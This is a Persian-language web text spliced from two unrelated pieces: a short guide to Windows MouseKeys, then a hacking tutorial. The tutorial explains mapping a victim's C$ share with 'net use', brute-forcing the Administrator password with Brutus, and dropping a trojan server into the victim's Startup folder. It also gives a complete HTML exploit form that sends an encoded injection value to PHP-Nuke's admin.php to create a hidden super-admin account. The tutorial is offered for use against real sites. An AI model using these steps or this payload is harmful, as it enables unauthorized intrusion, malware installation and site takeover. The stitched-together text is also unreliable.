پس از انجام اين عمل يك بوق از بيزر (بلند گوي داخل كيس) به صدا در مي آيد و يك پنجره باز مي شود كه سه كليد Ok,Cancel,Settings دارد بر روي Settings كليك كنيد .در پنجره اي كه باز مي شود قسمت Use MouseKeys را فعال كنيد .سپس بر روي Ok كليك كنيد .بعد از انجام اين مراحل يك شكل ماوس كوچك و مشكي رنگ كنار ساعت شما اضافه مي شود و با روشن بودن NumLock حالت شبيه سازي ماوس فعال مي شود .
حالا چطوري باهاش كار كنيم ؟
خوب بعد از فعال سازي شبيه ساز ماوس به سراغ كار كردن با آن مي پردازيم ...
كليد هاي 12346789 براي جابجايي اشاره گر ماوس به كار مي روند.
كليد 5 براي كليك ماوس به كار مي رود .حتما اين سوال براتون پيش مي آيد كه كليك راست يا چپ و يا وسط ؟؟؟
براي اين كار در قسمت پايين كنار ساعت مشخص است كه چه كليكي را انجام مي دهد .براي تغيير اين وضعيت كليد - كليك را به راست تغيير مي دهد و كليد * كليك را به وسط تغيير مي دهد و كليد / كليك را باه چپ تغيير مي دهد .
Drag &Drop :
براي انجام اين عمليات كليد + را بر روي آيتم (هاي) اتنخاب شده ميزنيم(Drag) سپس با اشاره گر ماوس را به جايي كه مي خواهيم مي بريم و براي رها كردن (Drop) كليد 0 را ميزنيم.
سلام خیلی ها دوست دارن سایت هک کنن ولی به علتهای مختلف یا نمیتونن وقت بزارن روش یا سایت امنیتش بالاست یا فرد دانش هک کردن رو نداره و... حالا در این درس به آموزش چندین روش برای آموزش هک متداول ترین فروم که PHP-Nuke است بپردازیم. اول باید خصوصیات سایت را بررسی کنید و اولین خوصوصیات ضروری پی اچ پی نوک بودن آن هست! به روش های مختلف هک کردنه یوزر ادمین یا ساختن ادمین مخفی را یاد بگیرید. در هر سایت نوک یک فروم قرار دارد و همینوطور که میدانید در فروم یک یا چند نفر به cp (مخفف کنترل پانل) دسترسی دارند. شاید از همین فکر چیزی فهمیده باشید. پس در هر تالار چندین کاربر (user) وجود دارد (بستگی به کیفیت تالار دارد) و مدیر هم در بین این کاربران هست و نا کاربری او فاحش هست و می توانید آن را به راحتی ببینید.با این توضیح شما دو روش را برای هم حدس زدید. درسته ! می گن هک سایت سخته ولی اونقدرا هم سخت نیست حتی با ماجیک هم میشه سایت هک کرد! پس فعلا با ماجیک هک می کنیم تا برسیم به جاهای پیشرفته! حالا باید به سیستم طرف برای نصب تروجان نفوذ کنید و نت بایوس بهترین راه هست! نفوذ به سیستم از طریق NetBios با یاد گیری این مقاله شما میتونید یک درایو از سیستم قربانی رو به وسیله نت بایوس Share کنید و هر کاری که خواستید توی اون درایو انجام بدید ( فایل بذارید ، بردارید ، پاک کنید و ... ) . خب بریم سره موضوع اصلی: اول باید IP سیستم مورد نظر رو پیدا کنید ( تو سایت قبلا اموزش دادم ) ، بعد از منوی Start قسمت Run برید و تایپ کنید CMD. بعد از اینکه وارد CMD شدید این دستور رو بنویسید: Net use x: \\IP\DriveName$ به جای X میتونید هر حرفی رو بنویسید به غیر از حروفی که اسم درایو های خودتون هست.مثلا اگه درایو G داشته باشید ، از حرف G نمیتونید استفاده کنید. به جای IP هم ای پی مورد نظر رو که می خواهید بهش نفوذ کنید رو بنویسید. به جای DriveName هم اسم درایو رو بنویسید. اگه مثلا میخواهید درایو C رو Share کنید ، حرف c رو بنویسید.یک نمونه از دستور رو ببینید: Net use x: \\80.191.191.39\c$ اگه کمی شانس داشته باشید بدون در خواست User Name و Password درایو Share میشه و این پیغام رو مینویسه: The command completed successfully اما اگه از شما در خواست یوزر نیم و پسورد کرد به جای یوزر نیم کلمه Administrator رو وارد کنید که برای ویندوز XP و 2000 تعریف شده است ( البته معمولا تو یه خط یوزر نیم رو میده ).پسورد هم میتونید با یه برنامه مثل بروتوس( Brutus ) پیدا کنید. اگه شما درایوی رو Share کرده باشید که ویندوز قربانی هم تو همون درایو نصب شده باشه ، می تونید سرور یک تروجان رو تو پوشه Startup تو قسمت Start Menu کپی کنید و منتظر باشد قربانی ریستارت کنه تا فایل سرور اجرا شه و شما به راحتی با تروجان به سیستم وارد بشید. ( یادتون باشه که سرور رو فقط کپی کنید چون اگه اجرا کنید در واقع تو سیستم خودتون اجرا کردید ) حالا که یک تروجان در ستارت آپ طرف کپی شد و پسورد او را دریافت کردید..... هر کاربر در هنگام ثبت نام در هر تالاری در سایت های نوک باید به اجبار ایمیلی برای خود انتخاب کند که پسورد انتخاب شده به آن ایمیل ارسال شود. ایم خودش یک باگ امنیتی هست و لازم نیست که حتما اکسپلویتی جولوی شما باشد! (ولی بعد از این روش با اکسپلویتی برای هک نوک هک آشنا می شوید)خوب به قسمت (رمزعبور را فراموش کردم) یا ( Forget PassWord ) بروید و ایمیل طرف را وارد تا پسورد فرستاده شود. (این عمل در صورتی اتفاق می شود که نام کاربری بوسیله ی یک ایمیل پشتیبانی شود که در اغلب فروم ها اینجوری هست) حالا که پسورد کاربر مدیر و یا همان شناسه مدیر را گرفتید به منطقه ی کنترل (کنترل پانل) نفوذ کنید و شناسه ی حای را پاک کرده و شناسه ای بسازید و index را عوض کنید. قبل از اینکه ورود به کنترل پانل را به شما یاد دهیم بهتر استروش دیگری برای ساخت ادمین مخفی ( hide admin ) یاد بگیریم! اول باید بفهمیم که نوک چیست؟ پی اچ پی نوک انواع مختلفی دارد که از سال ۲۰۰۱ به ورژن های مجانی تبدیل شد و برای همین شهرت زیادی پیدا کرد در ابتدا تیم های آمریکایی و پاکستانی ورزن های ۶.۸ . ۶.۹ را مجانی کردند و ایرانی های عزیز نیز برای هموطننانشان از ورژن ۷.۳ تا ۷.۸ (آخرین نسخه) را ترجمه کردند و نوک های فراسی را بوجود آوردند. مثل گروه معروف IranNuke این اکسپلویت هم به شما کمک می کند که در کنترل پانل سایت نوک وارد شوید و شناسه ی مدیرتی برای خود بسازید. این اکسپولیت برای نوک ۷.۳ تا ۷.۷ هست و نوک ۷.۸ را فقط اگر روی لکال هاست باشد هک می کند.
<form name="mantra" method="POST" action="http://www.sitename.com/admin.php"> USERNAME: <input type="text" name="add_aid"><br> NOME: <input type="text" name="add_name"><br> PASSWORD: <input type="text" name="add_pwd"><br> E-MAIL: <input type="text" name="add_email"><br> <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox"><br> <input type="hidden" name="add_radminsuper" value="1"><br> <input type="hidden" name="op" value="AddAuthor"></p> <input type="submit" name="Submit" value="Create Admin"><br> </form>
خوب در قسمتی از کد نوشته شده: http://www.sitename.com/admin.php به جای sitename نام سایت را بنویسید و آن را با پسوند html ذخیره سازید. به این صورت : exploit.html حالا روی آن کلیک کنید و صفحه ای همانند صفحه ی عضویت در آن تالار باز می شود! (حالا بستگی دارد که چه چیز هایی از شما درخواست کند) حالا آن را که پر کردید در زیر آن Create Admin را کلیک کنید و مستقیما به http://www.sitename.com/admin.php میرید و اونجا با یوزری (شناسه ایی) که ساختید وارد شوید! حالا شما هم سایت پی اچ پی نوک هک کردید! موفق باشید ...
